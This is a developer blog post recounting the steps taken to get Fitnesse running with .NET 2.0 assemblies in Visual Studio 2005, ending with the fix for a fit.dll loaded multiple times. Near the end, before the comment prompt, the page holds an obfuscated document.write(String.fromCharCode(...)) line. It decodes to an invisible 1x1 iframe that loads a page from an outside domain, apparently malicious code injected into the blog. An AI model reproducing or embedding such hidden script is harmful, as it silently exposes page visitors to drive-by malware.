Fitnesse

Ever since reading about Fit – the integrated test framework by Ward Cunningham – I wanted to try it out but I never gave myself a chance until tonight. Apparently there are some different incarnations of Fit but because there might be some potential for implementing Fit at our shop I think Fitnesse – a wiki web server built on top of the fit framework – might be a good choice.

It took me some fiddling to get it running so I’m posting a recap of my trials below.

The first thing I did was download the “official release” and give it a go. Booting up the server was no problem and I had quickly created the infamous Division class with Visual Studio 2005. Fitnesse refused to load my .NET 2.0 assemblies though. Every time it complained that it could not find the type Division and the “assemblies searched” list would be empty. Even though my dll was clearly there.

Thinking this might be a .NET versioning problem I set out to search and found a few useful references. First one is Cory Foy’s basic tutorial . A must-read for anyone who want’s to run Fitnesse in a .NET environment. The post itself is great but the follow-up in the comments was particulary useful for me.

One of the final comments had a link to a post on Jeff’s Bits which provides an excellent guide to porting the Fitnesse.NET source to version 2.0 with Visual Studio 2005 and also the next pieces of information in my quest to get it all running. I started out following the guide and intended to compile the source myself but ran into a huge number of conversion errors so ended up using Jeff’s handy conversion pack instead.

Still no luck in Fitnesse though but at least it actually looked in my .NET 2.0 assemblies. It now complained that it could not cast my Division class to fit.Fixture even though I could clearly follow it’s line in the Visual Studio 2005 object browser. After some cursing and a little bit of luck I found this message in the yahoo “agile testing” group. It didn’t provide an immediate solution to my problem but the comments in that thread inspired me to go to the Fitnesse group and look further. After actually using the search function of that group I finally found the final piece of information in this message.

As it turned out I had fit.dll loaded multiple times and as Micah Martin of Object Mentor has eloquently put it: “.NET chokes with this”.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment